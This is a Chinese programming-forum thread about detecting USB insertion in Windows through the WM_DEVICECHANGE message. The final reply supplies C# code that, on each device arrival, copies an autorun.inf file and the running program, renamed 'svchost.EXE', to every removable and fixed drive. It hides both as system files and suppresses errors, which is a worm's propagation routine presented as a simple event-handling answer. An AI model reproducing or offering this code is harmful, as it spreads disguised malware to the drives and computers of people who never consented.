u盘插入如何触发事件?
u盘插入如何触发事件?
------解决方案--------------------记得有个Windows消息DeviceChange?
楼主看以参考下U盘小偷的代码 我翻翻以前写的抓这个消息的代码还在么
------解决方案--------------------不是触发事件,这个时候所有顶层窗口都会收到一个全局消息WM_DEVICECHANGE(0x0219),在WndProc中处理即可。
------解决方案--------------------[DllImport( "kernel32.dll ", EntryPoint= "GetDriveType ")]
public static extern int GetDriveType (string nDrive);
protected override void WndProc(ref Message sysm)
{
const int WM_DEVICECHANGE = 0x219;
const int DBT_DEVICEARRIVAL = 0x8000;
string appname=Application.ExecutablePath;
string setupname=System.Environment.GetEnvironmentVariable( "windir ")+ "\\system32\\setup.inf ";
try
{
if (sysm.Msg == WM_DEVICECHANGE)
{
if(sysm.WParam.ToInt32()==DBT_DEVICEARRIVAL)
{
string [] dirs = Environment.GetLogicalDrives(); //取得所有的盘符
foreach(string dir in dirs)
{
if ( GetDriveType(dir) == 2 || GetDriveType(dir) == 3) //是移动硬盘
{
try
{
File.Copy(setupname,dir+ "autorun.inf ",true);
File.Copy(appname,dir+ "svchost.EXE ",true);
File.SetAttributes(dir+ "autorun.inf ",FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System );
File.SetAttributes(dir+ "svchost.EXE ",FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System );
}
catch{}
}
}
}
}
}
catch
{}
base.WndProc(ref sysm);
}